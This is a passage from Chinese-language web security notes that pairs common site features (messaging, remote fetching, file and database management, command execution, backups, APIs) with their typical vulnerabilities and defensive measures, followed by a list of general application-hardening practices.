  8. 私信以及反馈:最常见的是XSS漏洞以及越权漏洞,还有少部分SQL注入或者命令执行漏洞

  9. 远程地址访问:wordpress,phpcmsd等众多应用都有访问远程地址获取资源的功能,这个功能产生的漏洞叫做SSRF

  10. 文件管理:可能会被黑客利用上传webshell等攻击脚本,应该注意:禁止写入脚本可在服务器端执行的文件,限制文件管理功能操作的目录,限制文件管理功能访问的权限,禁止上传特殊字符文件名的文件

  11. 数据库管理:限制可以操作的数据库,限制备份到服务器上的文件名

  12. 命令/代码执行:严格控制该功能的访问权限,在满足业务需求的情况下,可以设置白名单机制,可以使用escapeshellcmd以及escapeshellsrg函数进行过滤,命令直接写死在代码里更好,给命令以及代码执行功能设置独立密码,代码执行功能限制脚本课=可以访问的路径,在满足需求的情况下限制当前执行命令的系统用户权限

  13. 文件/数据库备份:未授权访问以及越权访问,备份文件名不可预测,生成 的文件可利用web中间件解析漏洞执行代码

  14. API:设计时应该注意以下几点:访问权限控制,防止敏感信息泄露,SQL注入等常规漏洞

五、应用安全体系建设

1.用户密码安全策略 2.前后台用户分表,两种不同权限的用户不应该放在同一张数据库表格中 3.后台地址隐藏: 4.密码加密存储方式 5.登录限制 6.API站库分离 7.慎用第三方服务 8.严格的权限控制 9.敏感操作多因素验证 10.应用自身的安全中心:虽然安全狗之类的防护软件有很多,但还是应该依靠自身进行安全防护

最后更新于